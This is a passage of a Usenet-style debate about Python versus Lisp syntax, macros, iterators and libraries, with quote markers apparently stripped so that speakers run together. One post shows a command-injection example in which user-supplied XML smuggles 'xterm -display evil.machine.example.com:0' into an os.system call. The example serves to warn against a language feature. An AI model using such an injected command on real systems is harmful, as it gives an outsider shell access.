Python syntax in Lisp and Scheme

[Doug Tolton]

Me:



Doug Tolton:


restrictions.

You are correct. I misremembered "Tolton" as "Tilton" and confused
you with someone else. *blush*

Heh, yeah I've noticed that a couple of times. Poor Kenny keeps getting
blamed for things I've said. D'oh!

My answer, btw, that the macro preprocessor in C is something
which is useful and too easily prone to misuse. Eg, my original
C book was "C for native speakers of Pascal" and included in
the first section a set of macros like

#define BEGIN {
#define END }

I agree the C macro system is constantly abused. Then again, I haven't
ever been a really big fan of the C macro system, primarily because even
if it's used correctly it has always struck me as an ugly hack. I don't
think that's because it's overly expressive and powerful though, rather
I think it's because of it's limitations and foreign feeling syntax.

It's not possible to get rid of cpp for C because the language
is too weak, but it is something which takes hard experience to
learn when not to use.

As for a language feature which should never be used. Alex Martelli
gave an example of changing the default definition for == between
floats, which broke other packages, and my favorite is "OPTION
BASE 1" in BASIC or its equivalent in Perl and other langauges.
That is, on a per-program (or even per-module) basis, redefine
the 0 point offset for an array.

Again, I can see setting corporate wide policies that specify if you
change the OPTION BASE, we are going to take you out behind the shed and
beat you silly. I don't think the existence of OPTION BASE is a
problem, personally I think it's when someone decides they want to
change the OPTION BASE to 0 while everyone else is still using 1. That
doesn't necessarily imply that OPTION BASE is by itself and evil construct.

 

[Jon S. Anthony]

Okay, I gave alternatives of "." and ">" instead of "car" and "cdr"
"." for "here" and ">" for "the rest; over there". These are equally
composable.

. == car
cadr == >.
caddr == >>.
cddr == >>

These "look" worse than the version you're railing against and are
bombs waiting to go off since they have long standing prior meanins
not in any way associated with this type of operation. OTOH, if you
really wanted them, you could define them.

Python's reply "There should be one-- and preferably only one --
obvious way to do it."

This then is probably the best reason to _not_ use Python for anything
other than the trivial. It has long been known in problem solving
(not just computation) that multiple ways of attacking a problem, and
shifting among those ways, tends to yield the the better solutions.

Which brings us back to the start of this thread.

If your problems are trivial, I suppose the presumed lower startup
costs of Python may mark it as a good solution medium.

/Jon

 

[Doug Tolton]

Doug Tolton:



Reminds me of Olaf Stapledon's "First and Last Men"? His
civilizations often had two roughtly equal but opposing components.

I haven't read it, I may have to check it out.

Also reminds me of learning about the blue eyed/brown eyed
experiment in my sociology class in high school. As it turns out,
I was the only blue-eyed person in the class of 25 or so.

I'm not familiar with this experiment. What is it about, and what are
the results?

Not necessarily "competing", except in a very general sense. Is
Australian English in competition with Canadian English?

I guess it comes more into play when there is some limited resource put
into play (eg Darwin), such as winning a prize, making money, number of
people using your system. I agree not everything is a direct
competition, but I bet if you started comparing Australian English to
Canadian English with both types of speakers, eventually serious
disagreement about some minute point would break out.

As well as PyPy and (more esoterically) Vyper.

Excepting the last, all have had the goal of supporting the C Python
standard library where reasonably possible. When not possible
(as the case with Jython and various C extensions), then supporting
the native Java libraries.

I'm not saying they aren't good choices, or that they can even decide to
work together, rather that over time groups tend to diverge. Look at
Unix/Linux/FreeBsd as an example. I'm sure there are times when
divergent groups die out and re-enter the main branch as well.

Ohh! Good word! I had forgotten about it.

I have to give the credit to David Mertz on that one. He used it in
correspondence with me, and I liked it a lot too.

 

[Rayiner Hashem]

sure, but it seems like noone was able to let Cconceivable(virtual) inner
classes,
That's because Lisp has closures, and because CL doesn't mandate access
protections for classes.

methods inside methods,

You can use a lambda to accomplish the same thing.

virtual methods (yeah I know about those stupid generic functions ,

Generic functions are just virtual methods generalized to multiple dispatch.

method overloading

Method overloading is just a special case of generic dispatch in situations
where the types of the dispatch arguments are known at compile-time. In
situations where method overloading could be applicable, GF dispatch
doesn't even have a performance hit over static method overloading because
the compiler can optimize-out the generic dispatch.

A decent API (I tried playing with it.. it doesn't even have a freaking
date library as standard ;-p

Google for one! What's the point of having every conceivable library in the
language?

Yes I agree with the compile time macro expansion is a nice thing.
However, if I want to do some serious changes to the structure of objects
and classes (i.e. create a new kind of objects) then I have to spend a
long time finding out how the CLOS people hacked together their
representation of classes, methods, method call etc...

There is a MOP provided expressly for this purpose.

 

[Edi Weitz]

Yes. Allegro CL (ACL) for one.


You obviously can't "tell" too well.

It is true that AllegroCL has all these features and it probably is
the only CL implementation that includes all of them out of the box
but it is not true that it is free (which was one of the things
Mr. Dalke asked for). At least it wasn't true the last time I talked
to the Franz guys some days ago. If that has changed in the last week
please let me know...

You might be able to get most of these features with "free" CL
implementations but not all at once I think. (AFAIK CLISP is currently
the only "free" CL which supports Unicode but it is lacking in some
other areas.)

As far as "mix and match" of packages is concerned: Use Debian
(testing) or Gentoo. I've been told it's just a matter of some
invocations of 'apt-get install' or 'emerge' to get the CL packages
you want. At least it shouldn't be harder than, say, getting stuff
from CPAN. What? You don't use Debian or Gentoo? Hey, you said you
wanted "free" stuff - you get what you pay for.

No, seriously. It'd definitely be better (for us Lispers) if we had
more freely available libraries plus a standardized installation
procedure à la CPAN. Currently we don't have that - there are
obviously far more people working on Perl or Python libraries.

So, here are your choices:

1. Buy a commercial Lisp. I've done that and I think it was a good
decision.

2. Try to improve the situation of the free CL implementations by
writing libraries or helping with the infrastructure. That's how
this "Open Source" thingy is supposed to work. I'm also doing this.

3. Run around complaining that you can't use Lisp because a certain
combination of features is not available for free. We have far too
many of these guys on c.l.l.

4. Just don't use it. That's fine with me.

It currently looks like the number of people choosing #2 is
increasing. Looks promising. You are invited to take part - it's a
great language and a nice little community...

Edi.

PS: You might also want to look at

<http://web.metacircles.com/cirCLe+CD>.

 

[Andrew Dalke]

Kenny Tilton:

I wouldn't take the Greenspun crack too seriously. That's about
applications recreating Lisp, not languages copying Lisp features.

Are you stating that all references of Greenspun's 10th rule,
when applied to Python, are meant in jest? Many of the times
I've seen it used has come from a sense of arrogance; justified
or not. The similar statement which bristles me the most is at the
top of biolisp.org, especially given how paltry the existing public
libraries are for doing bioinformatics in Lisp -- even compared
to Ruby.

It's
just a reaction to Python (a perfectly nice little scripting language)
trying to morph into a language with the sophistication of Lisp.

Python isn't doing that. It's lives in a perfectly good niche wherein
Lisp is not the most appropriate language. At least not until there's a
macro which works like

(#python '
for i in range(100):
print "Spam, ",
print
)

As for non-professional programmers, the next question is whether a good
language for them will ever be anything more than a language for them.
Perhaps Python should just stay with the subset of capabalities that
made it a huge success--it might not be able to scale to new
sophistication without destroying the base simplicity.

But there's no reason to stay with only one language. For those things
which are more appropriate in a different language (eg, adding a new
minimizer to an existing FORTRAN library, or writing an interface
to an existing C llibrary, or doing predicate based logic in Prolog)
then use that other language

I'm perfectly satisfied with claiming that Python is a great language
for scientific programming and that it is a less than perfect language
for doing aspect oriented programming.

Another question is whether Lisp would really be such a bad program for
them.

I am also perfectly satisfied with claiming that Lisp is not the best
language for the people I work with.

You presume that only Lisp gurus can learn Lisp because of the syntax.

Not at all. What I said is that Lisp gurus are self-selected to be
the ones who don't find the syntax to be a problem. You incorrectly
assumed the converse to be true.

But methinks a number of folks using Emacs Elisp and Autocad's embedded
Lisp are non-professionals.

Methinks there are a great many more people using the VBA
interface to AutoCAD than its Lisp interface. In fact, my friends
(ex-Autodesk) told me that's the case.

And let's not forget Symbolic Composer
(music composition) or Mirai (?) the 3D modelling/animation tool, both
of which are authored at the highest level with Lisp.

As compared to csound (music synthesis) which is written in C?
Or Gnumeric with Python embedded?

Do you want me to truck out a similar list of programs with
Python embedded? And that would prove ... what exactly?

Logo (a language aimed at children, including very young children) cuts
both ways: it's a Lisp, but it dumped a lot of the parens, but then
again it relies more on recursion.

Okay, and then there's Alice, from www.alice.org , which
"addresses the specific needs of the subpopulation of middle
school girls" and aims to "provide the best possible first exposure
to programming for students ranging from middle schoolers
to college students."

What does it mean to be "a Lisp"? Is Python considered "a Lisp"
for some definitions of Lisp? If Greenspun's 10th law has any merit
whatsover then Python must surely be an "implementation of half
of Common Lisp."

You (Alex?) also worry about groups of programmers and whether what is
good for the gurus will be good for the lesser lights.

If you ever hear me call anyone who is not an expert programmer
a "lesser light" then I give you -- or anyone else here -- permission
to smack me cross-side the head. The people I work for, who use
the software I write, are PhD-level chemists and biologists, who
are developing new drugs, who helped sequence the human genome,
and some of who may in a decade or two receive the Nobel prize
for their efforts. These are not "lesser lights."

I never, ever, EVER made that claim and you are sticking words
in my mouth. You consistently and incorrectly restate others'
claims into an obviously wrong-headed viewpoint that all it does
is highlight your own false assumptions and arrogance.

Andrew
(e-mail address removed)

 

[Kenny Tilton]

That's silly. Something being successful means people want to use it
to get things done in the real world. At that point they start
needing the tools that other languages provide for dealing with the
real world. The real world is not a small and simple place, and small
simple systems are not always enough to cope with it. If GVR had kept
his gem small and simple, it would have remained an academic toy, and
I think he had wide-reaching ambitions than that.

I agree with everything you said except that last bit, and I only
disagree with that because of what I have heard from Pythonistas, so
maybe I missed something. I did not think Python (or GVR or both) had
aspirations of being a full-blown language vs just being a powerful
scripting language.

Do they ever plan to do a compiler for it?

 

[Andrew Dalke]

Pascal Costanza:

Here [are some studies on using Scheme to teach programming]:
http://home.adelphi.edu/sbloch/class/hs/testimonials/

Actually, those are testimonials, not studies. For real studies,
look at some of the Smalltalk and especially Papert's work with
Logo.

The problem with testimonials is they are submitted by the people
who liked the language. Eg, you don't see testimonials for a diet
loss plan which go "I used this plan and I gained 30 pounds in
only two weeks -- I loved it!"

One of my house mates in grad school learned Scheme at CMU
and related how much he didn't like the language. You don't see
his testimonial on this site because he didn't dislike it intensely
enough to write an essay and convince some pro-Scheme site
to host it.

Andrew
(e-mail address removed)

 

[james anderson]

...

Python does it by ignoring the respective os APIs,
oh.

if I understand
your meaning and Python's implementation correctly. Here's some
more information about Unicode in Python

http://www.python.org/peps/pep-0100.html
http://www.python.org/peps/pep-0261.html
http://www.python.org/peps/pep-0277.html

pep-0261 was to the point. facit: if you build your python for 4-byte
characters you get the full range of scalar values (ie characters) as first
class objects. if you build your python for 2-byte characters you have to
model all scalar values outside of the basic plane as two disjoint code values.

it's analogous to wide/narrow characters in acl, and i recall there being an
open-source lisp which supported 4-byte builds. each catering to their users.
as the saying goes, everybody cooks with water.

i'd be curious to hear:

was pep-0261 adopted?

has there been any data collected on how many installations are built in the
respective modes. for users in the 4-byte mode, has there been any data on
storage efficiency? on general string-related algorithm performance?

do python programmers really not care about using things like os-native
international type support? [0]

...


I fully understand that it isn't part of the standard, but it would be
useful if there was a consensus that "packages X, Y, and Z will
always be included in our distributions."

that may be a market issue. vendors supply what their clients pay for. they
have an interest in product differentiation. open-source developers develop
what they need. they have an interest that their implmentation serves their
needs. there is some overlap, but evidently the market does not compel the
order of consolidation which you envision.

....

[0] http://developer.apple.com/intl/atsui.html

 

[Brian Downing]

Huh? I'm talking purely in the interface. Use ASCII '[' and ']' in the
Lisp code and display it locally as something with more "directionality".
I'm not suggesting the unicode character be used in the Lisp code.
Take advantages of advances in font display to overcome limitations
in ASCII.

How is this amount of complexity possibly better then just making the
[ ] keys output ( ) in the editor - something that works TODAY?

-bcd

 

[Alex Martelli]

Dave Benjamin wrote:
...

...
What's implicit to me is that the use of an iterator is never specified.

It could be, but it would be redundant, because the for-in syntax
_always_ uses iterators -- so,
for x in y:
and
for x in iter(y):
and
for x in iter(iter(y)):
and so on, ad nauseam, are all equivalent. All except the first form
are also redundant.

For instance, we could (and I'm *not* suggesting this) do this:

iterator = file('input.txt')

You forgot to call iter (which the for loop does), so, depending
on whether a file object HAS-AN iterator (as in 2.2) or IS-AN
iterator, you could be out of luck -- e.g.:

[alex@lancelot src23x]$ python2.2
Python 2.2.2 (#1, Oct 24 2002, 11:43:01)
...Traceback (most recent call last):

(in 2.3, you'd be lucky;-).

while iterator.has_next():
line = iterator.next()
do_something_with(line)

That wouldn't be the definition of the for loop (and in general it
would be hellish to make it work -- that "predictive" has_next might
be a real bear to implement, with sane semantics, on certain
iterators which "consume" data and can't put it back).

However, you COULD write something like:

iterator = iter(file('/tmp/ba'))
while 1:
try: line = iterator.next()
except StopIteration: break
else: do_something_with(line)

i.e., expand the definition of "for line in..." into the constructs it's
defined in terms of -- same results with different goofy syntax.

But such expansion wouldn't be any more "explicit" than USING the
definition!!! Any more than, say, x*5 is "less explicit" than x+x+x+x+x --
once multiplication is DEFINED in terms of repeated addition, it can
perfectly well be used, and be just as explicit as writing out the
repeated addition itself would be.

I don't think it's possible to make any halfway-sensible case that
USING a language's constructs directly is "less explicit" than goofily
spelling them out in terms of other constructs they may be defined
as equivalent to.

other forms of suites, e.g. hypothetically:

with <object>:
<suite>

meaning to call the object (or some given method in it, whatever)
with the suite as its argument, it would be just as explicit as, e.g.:

...
This would be an interesting alternative, but it's back to being a special
case, like Ruby has. I think it'd be more flexible as a literal that
returns a callable.

Yes, by being a statement it would be less general than having it as an
expression would be -- an expression can be used anywhere a statement
can be used, but not viceversa. What I'm uncertain about is whether
there IS a *good* syntax for a Python expression that can embody arbitrary
statements -- I'm not really enthusiastic about any proposal I've seen,
including mine own.

Well, let's just say I've been on the Java side of the fence for a little
while, and it has redefined my personal definition of explicit. One of the
reasons Python code is so much smaller than Java code is that a lot of
things are implicit that are required to be explicit in Java. I see this
as a good thing.

I think you're using 'explicit' as a synonym for 'redundant', then. But
it's not useful nor sensible usage, and insisting on it would be very
humpty-dumptyish. It's not that in Python "a lot of things are implicit":
rather, the constructs are defined to _explicitly_ map to typical usage,
often (not invariably, but close) without boilerplate and redundance.

Well, we all __pick__ our __poisons__...

Sure, Ruby's "def add" is more readable than Python's "def __add__" --
we weren't discussing that, though, nor making general comparisons
about the two languages, but rather talking about the readability of
*iterator usage* in the two languages.

Nah, I'm not arguing for redundancy at all. I'm saying that there is some
voodoo going on here. When the *constructor* for a file object behaves
like a generator that loops over newline-delimited lines of a text field,

The constructor constructs the object -- no more, no less. The *object* is
an iterator (in 2.3; in 2.2 it HAS one instead), so of course you can
iterate on it -- no voodoo whatsoever.

doesn't that seem like it's been specialized for a particular domain in an
unobvious way? Why lines? Why not bytes, words, unicode characters? I

Usage frequency: looping on lines is by far the use case that dominates in
frequency (no formal statistics, but a rare consensus of many experienced
users on python-dev at the time).

mean, it's more convenient for people that do a lot of text processing,
but I don't see anything specific to text or lines in the phrase
"file('foo.txt')". That's all I'm saying.

There is nothing (except the accidental 'txt' substring) that directly
mention text, nor lines, bytes, words, etc; why, if you used the 'open'
synonym of 'file', there would be nothing mentioning files either. But
then, there is nothing in the character '+' that even remotely suggests
addition -- except habit. Do you therefore think that using '+' to denote
addition is *not explicit*? Since '+' is DEFINED to perform addition,
by a convention that is quite familiar to most users, I'd disagree. And
similarly for looping on a file object -- as there is one dominant use case,
it was deemed important enough to rapidly become familiar to most
users, and thereby eschew the "in the face of ambiguity, resist the
temptation to guess" principle's application.

Actually I was caught out that way while helping out on (e-mail address removed)
today -- a user was asking why "for line in afile.readlines():
md5.update(line)" was eating up all of his memory on processing a huge
binary file, and I made the facile suggestion of moving to "for line in
afile:" -- fortunately Danny caught me out (the good thing of having
several volunteers on the helpline -- not quite as good as c.l.py that
way, but still) and pointed out that the binary file MIGHT lack even a
single '\n' byte in its huge body, after all, so there was no _safety_ in
this approach (easily fixed with a generator, once spotted). So, maybe I
shouldn't feel so tranquil that the "face of ambiguity" was *correctly*
handled. But note it's most emphatically NOT about implicit or explicit:
the user originally had a PERFECTLY explicit readlines call -- just a
wrong one (which I mentally translated to just omit the .readlines() part,
which was my mistake). It's about ambiguity and the temptation to
guess -- files don't provide methods to loop by ANYTHING BUT lines,
and that partly reflects the fact that other loops are easier to write as
generators, but also partly a "guess" (in the face of ambiguity...) that
a typical file is read as text, not as binary (for writing, the writelines
method has excellent semantics for consuming a finite iterator -- it's
just badly misnamed, leaving the misleading impression that it has
anything to do with lines... so much for 'explicitness' I guess....

The very fact that variables to not have types, and following that, that
variables do not have manifest types, is an example of implicit being
chosen over explicit. I know your argument, and I understand that Python
variables are Post-It sticky notes and all of that, but please, just try
to look at it from a non-Python-centric perspective. Other languages (like

Ok, as long as you let me choose Ruby as the non-Python in question.
Once I've done that, I see no difference: still sticky notes without
manifest per-variable types;-).

"x=5" is just as explicit as "int x=5", because the type of the object is
manifest. The difference is not between implicit and explicit: it's
about attaching a type at all to that name 'x' or not.

C++, which I hear you are vaguely familiar with require you to be
explicit about what type of thing you're defining and sending where.

Yes, and in that it's distinguished from e.g. Haskell, which also has
typed-names but allows you to NOT explicitly (or redundantly rather)
state them out and let it do inference instead. Now THAT kind of
distinction is about explicitness or redundance. Deeming that a name
has NO type is quite different. I know of no programming language
that requires nor allows you to state the color of your cat's hair (except
in comments and the like): it's not a matter of your cat's color being
left "implicit", it's rather that those languages don't HAVE the concept
of a cat, its hair, and the hair's color. Just think of variables as cats,
rather than sticky notes, and the issue may get clearer.

They're not *violations*. Correct me if I'm wrong, but the Zen of Python
is not the LAW! It's a poem! It's very beautiful, very concise, inspiring,
and thoughtful, but it's not the 10 commandments! I just get very tired of

It's a set of principles humorously and perceptively expressed, of course.

every idea getting shot down because of some rule from Tim Peters. I
really don't think he intended for it to be used to prove the validity of
ideas.

No doubt some people quote it routinely, but, when e.g. I do, it's just
because it's often a very concise, expressive and clear way to express
what I could alternatively take a few hours to laboriously set down in
excruciating detail (of course, I can and do perform BOTH too.
Those principles that are NOT all that common in other programming
languages are particularly valuable because they express Python's
community consensus where it most needs to be expressed.

The implicit/explicit thing is one of the most abused, in my opinion,
because it can quite frankly be used to shut down any attempt at creating
abstraction. In fact, for that reason alone, I'm tempted to say "Implicit
is better than explicit". Say what you want, not how you want it. Be
abstract, not concrete.

....but please do so in other languages than Python; there are several
excellent ones for the purpose (Ruby isn't really one -- many of its
"implicitness" factors are in fact legacy holdovers -- for example, I've
often seen the optional omission of parentheses in method calls deemed iffy
by experienced Rubytes, even more for the implicit $_, etc, etc). Python
is quite concrete and pragmatical, as is Ruby, at their cores. I think
functional languages encourage and nudge you to work at very high
levels of abstraction, very VERY far from the machine, in ways that no
language with modifiable data truly does. If "be abstract, not concrete"
is really the motto you want to live by, I think Erlang or Haskell or ML
might make you much happier than Python or Ruby would.

Most of us actually work better on a more concrete level, I believe --
and that is why, for me (and 'us' languages with the concreteness
(and explicitness) of Perl and Ruby are more productive (though the
mind-expanding experience of studying FP is a great visit, I'm not sure
I'd want to live there).

But note that this about actual abstraction, and has nothing to do
with implicit vs explicit. If you think that a language's rules and
definitions -- just like, say, the definition of multiplication -- "are
implicit", or using them _makes_ your programs "implicit", then I think
your individual and idiosyncratic definition of words can make discourse
with you simply impossible.

http://ei.cs.vt.edu/~history/GASCH.KAY.HTML
http://www.cosc.canterbury.ac.nz/~wolfgang/cosc205/smalltalk1.html
http://www.cs.washington.edu/homes/dugan/history.html

Thanks! Quite instructive.

Well, it was a rough analogy, and I've never done any APL myself, but
here's my justification, FWIW:

- APL provides syntactical constructs for high-level array processing

Yep, a huge array of weird symbols for the purpose (operators infix
or prefix, w/o priority differences among the set of infix ones).

- List comprehensions do this also

Not really: just an expression to create a list (array), with deliberate
use of keywords (vs Haskell's symbols for the same role). This is

- Code blocks have nothing inherently to do with array processing

Neither do many of APL's many symbols, e.g. left-pointing arrow
for assignment, right-pointing for goto (only control flow statement being
a computed goto), etc.

But I agree that neither resemble APL as I've seen. I guess it's like
saying a carrot is more like APL than a rutabega.

It does seem to be on a similar plane of "similitude", yes.


Alex

 

[Jon S. Anthony]

Jon S. Anthony:

Do you have a reference? And a pointer to something better?

Even nothing is better than misinformation.

2 of 6 is better than random, so Jones' work can't be
complete bunkum.

2 of 6 is worse than flipping a coin.

/Jon

 

[Daniel Silva]

Python [...] lives in a perfectly good niche wherein
Lisp is not the most appropriate language. At least not until there's a
macro which works like

(#python '
for i in range(100):
print "Spam, ",
print
)

There is! http://spyweb.hopto.org



- Daniel

 

[Andrew Dalke]

Dave Benjamin:

What's implicit to me is that the use of an iterator is never specified.

It is by the definition of what the for loop does.

For instance, we could (and I'm *not* suggesting this) do this:

iterator = file('input.txt')
while iterator.has_next():
line = iterator.next()
do_something_with(line)

Good thing you aren't, since has_next might be impossible to
implement.

If Python's syntax defined
other forms of suites, e.g. hypothetically:

with <object>:
<suite>

meaning to call the object (or some given method in it, whatever)
with the suite as its argument, it would be just as explicit as, e.g.:

for <name> in <object>:
<suite>

A reasonable point. However, inside the 'with' statement it's hard
to know if

print x

comes from the object or from the static scoping, and it may
be that 99.99% of the time it's from static scoping, only to find
after deployment that there's code like

logger = "echo got it >> file.log"

....
def parse_server_request(self, infile, outfile):
obj = parse_XML_into_some_pythonic_data_structure(infile)
with obj:
outfile.write("Content-Type: text/plain\n\n")
outfile.write("Hi, " + username + "\n")
os.system(logger)

which lets malicious user input pass in XML with the content
<logger>xterm -display evil.machine.example.com:0</logger>
that ends up being passed to the system call.

I've been on this thread too long so I won't answer anything from the rest
of your response.

Andrew
(e-mail address removed)

 

[Lulu of the Lotus-Eaters]

|Do they ever plan to do a compiler for it [Python]?

You mean like Psyco?

Been there, done that. (and it's great, and getting better).

--
mertz@ | The specter of free information is haunting the `Net! All the
gnosis | powers of IP- and crypto-tyranny have entered into an unholy
..cx | alliance...ideas have nothing to lose but their chains. Unite
| against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------

 

[Alex Martelli]

Coming from a C/C++ background, I'm surprised by this attitude. Is
portability of code across different language implementations not a
priority for LISP programmers?

Libraries distributed as binaries are not portable across different C++
implementations on the same machine (as a rule). If we're talking
about sources, I don't see why strict ANSI Lisp library source code should
be any less portable than strict ISO C++ library source code. Even
different C++ implementations often come with additional vendor
specific libraries (e.g., on Windows, MFC and ATL for MS, ...) -- you
don't HAVE to use them, though the vendor's tools encourage you
to (to hook you in).

Personally, the only thing I find alien in Pascal's recommendation is
a glaring lack -- no mention of the possibility of downloading and
reusing open-source libraries from the net, just getting them as a
part of the implementation or else rolling your own. Now _that_ is
something I find weird, and cannot explain.


Alex

 

[Jon S. Anthony]

but it is not true that it is free (which was one of the things
Mr. Dalke asked for). At least it wasn't true the last time I talked

You are right. My mistake.

/Jon

 

[Pascal Bourguignon]

[Followup-To ignored because I don't read comp.lang.python]

I think it's about a single namespace (Scheme, Python, Haskell, ...)
vs CLisp's dual namespaces. People get used pretty fast to having
every object (whether callable or not) "first-class" --
e.g. sendable as an argument without any need for stropping or the
like. To you, HOFs may feel like special cases needing special
syntax that toots horns and rings bells; to people used to passing
functions as arguments as a way of living, that's as syntactically
obtrusive as, say, O'CAML's mandate that you use +. and not plain +
when summing floats rather than ints

In Common Lisp (not "CLisp", that's an implementation) functions /are/
first-class and sendable as an argument "without any need for
stropping or the like." What exactly are you talking about?

Read him.

He's talking about NAMESPACES. "namespace" occurs twice in his
paragraph, while "function" occurs only once, that should have given
you a hint.

Namely, he's saying that people used to write: (mapcar cadr '((a 1) (b 2)))
don't like having to write: (mapcar #'cadr '((a 1) (b 2))) in Common-Lisp.
[ Personnaly, I rather write it as: (mapcar (function cadr) '((a 1) (b 2)))
The less read macro the better I feel.]

 

[Kenny Tilton]

Kenny Tilton:



Are you stating that all references of Greenspun's 10th rule,
when applied to Python, are meant in jest?

Can't speak for others, but it certainly would be a mistake to apply it
to another HLL.

Python isn't doing that. It's lives in a perfectly good niche wherein
Lisp is not the most appropriate language.

OK, another Pythonista just told me GVR had greater ambitions. Just
tellin ya what I hear.

Not at all. What I said is that Lisp gurus are self-selected to be
the ones who don't find the syntax to be a problem. You incorrectly
assumed the converse to be true.

No, I got that, but I just wrote it kinda convoluted. And that
self-selection thing is just silly, until people over here:

http://alu.cliki.net/Kenny's RtLS Top-Ten

....come back in a month and update their responses to say "Drat! That
language is every bit as great as I thought it was, but that syntax is
driving me nuts. I'm outtahere!"

Won't happen, btw. Hell, Tolton loved Lisp even before he picked up some
editing tips.

You know, I just remembered a relevant experience I had, only with a
very early release of Dylan during the search I conducted which led to
Common Lisp, aka The Promised Land.

I actually made a bug report to the Dylan team: "hey, when I hit tab the
cursor jumps way the hell out here, just inside the IF. I mean, that's
pretty fucking cool if you meant that to happen, but what's going on?"

Methinks there are a great many more people using the VBA
interface to AutoCAD than its Lisp interface. In fact, my friends
(ex-Autodesk) told me that's the case.

Sheesh, who hasn't been exposed to basic? From my generation, that is.
But no matter, the point is anyone can handled parens if they try for
more than an hour.

What does it mean to be "a Lisp"? Is Python considered "a Lisp"
for some definitions of Lisp?

lessee:

symbols? no
sexprs? no
code as data as code? no

sorry, charlie.

If you ever hear me call anyone who is not an expert programmer
a "lesser light" then I give you -- or anyone else here -- permission
to smack me cross-side the head.

Boy, you sure can read a lot into a casually chosen cliche. But can we
clear up once and for all whether these genius scientists are or are not
as good a programmer as you? I thought I heard Python being recommended
as better for non-professional programmers.

Mind you, to my horror my carefully trained goalie turned out not to
scale at all into game play (my fault) so i am back to square one with
two days to go, so maybe I am not following all this as well as I should.

 

[Pascal Bourguignon]

Pascal Costanza:

It's undefined on strings -- a type error. Having + doesn't
mean that - must exist.

What about:

(defun nl-string-to-number (text)
;; Of course, you could program it more intelligently and more efficiently.
(do* ((i 0 (1+ i))
(s (format nil "~r" i) (format nil "~r" i))
)
((or (string-equal s text) (< (* 2 (length text)) (length s)))
(when (string-equal s text) i)))
);;nl-string-to-number

(defmacro def-s-op (name num-op)
`(defun ,name (&rest args)
(format nil "~r"
(apply (function ,num-op)
(mapcar (function nl-string-to-number) args))))
);;def-s-op


(def-s-op +s +)
(def-s-op -s -)
(def-s-op *s *)
(def-s-op /s /)
(def-s-op =s =)
(def-s-op /=s /=)
(def-s-op <s <)
(def-s-op <=s <=)
(def-s-op >s >)
(def-s-op =>s <=)

(-s "one" "two")

==> "minus one"